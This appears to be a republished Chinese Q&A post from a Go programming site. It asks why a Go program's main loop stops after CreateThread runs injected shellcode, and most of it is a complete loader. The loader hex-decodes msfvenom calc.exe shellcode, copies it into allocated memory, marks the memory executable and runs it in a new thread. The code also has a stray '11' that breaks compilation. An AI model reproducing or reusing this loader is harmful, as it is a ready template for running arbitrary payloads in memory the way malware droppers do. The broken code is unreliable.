为何使用 Win32API 函数启动的进程/线程会似乎终止并取代了父进程？

当使用 Win32API 函数启动进程或线程时，有时会出现进程或线程似乎终止并取代父进程的情况。这可能是由于 shellcode 问题造成的，因为某些 shellcode 可能会以不可预测的方式干扰其主机调用者。为了解决此问题，建议检查 shellcode 并确保它不会意外地影响父进程的执行流程。

现在，下面的代码完成了它应该做的事情，将 calc.exe 加载到内存并执行它，它做得很好。

我将这段代码拼接在一起，以显示 createthread() 在弹出 calc.exe 之前杀死我的程序的执行流程，就在 createthread.call() 之后，之后不执行其他指令

而且我相信这不是内存分配问题，因为如果我将 createthread() 包装在 goroutine 中（go runthread() ），它会在弹出 calc.exe 之前执行几个循环周期

package main

import (
    "fmt"
    "encoding/hex"
    "golang.org/x/sys/windows"
    "log"
    "unsafe"
)
func main(){

    RunCreateThread()
    for {
    fmt.Println("Running infinitely")
    }
}

func RunCreateThread() {
    //calc.exe HEX
    shellcode, _ :=hex.DecodeString("fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c632e65786500")


    addr, errVirtualAlloc := windows.VirtualAlloc(uintptr(0), uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
    if errVirtualAlloc != nil {11
        log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error()))
    }

    ntdll := windows.NewLazySystemDLL("ntdll.dll")
    RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")


    _, _, errRtlCopyMemory := RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
    if errRtlCopyMemory != nil && errRtlCopyMemory.Error() != "The operation completed successfully." {
        log.Fatal(fmt.Sprintf("[!]Error calling RtlCopyMemory:\r\n%s", errRtlCopyMemory.Error()))
    }


    var oldProtect uint32
    errVirtualProtect := windows.VirtualProtect(addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, &oldProtect)
    if errVirtualProtect != nil {
        log.Fatal(fmt.Sprintf("[!]Error calling VirtualProtect:\r\n%s", errVirtualProtect.Error()))
    }

    kernel32 := windows.NewLazySystemDLL("kernel32.dll")
    CreateThread := kernel32.NewProc("CreateThread")

    thread, _, errCreateThread := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0)
    if errCreateThread != nil && errCreateThread.Error() != "The operation completed successfully." {
        log.Fatal(fmt.Sprintf("[!]Error calling CreateThread:\r\n%s", errCreateThread.Error()))
    }

    _, _ = windows.WaitForSingleObject(windows.Handle(thread), 0xFFFFFFFF)
}

我很好奇为什么会发生这种情况？

正确答案

事实证明，这确实是一个 shellcode 问题，代码调用很好，我不知道 msfvenom 负载有时会以奇怪的方式扰乱其主机调用者。

文中关于的知识介绍，希望对你的学习有所帮助！若是受益匪浅，那就动动鼠标收藏这篇《为何使用 Win32API 函数启动的进程/线程会似乎终止并取代了父进程？》文章吧，也可关注golang学习网公众号了解相关技术文章。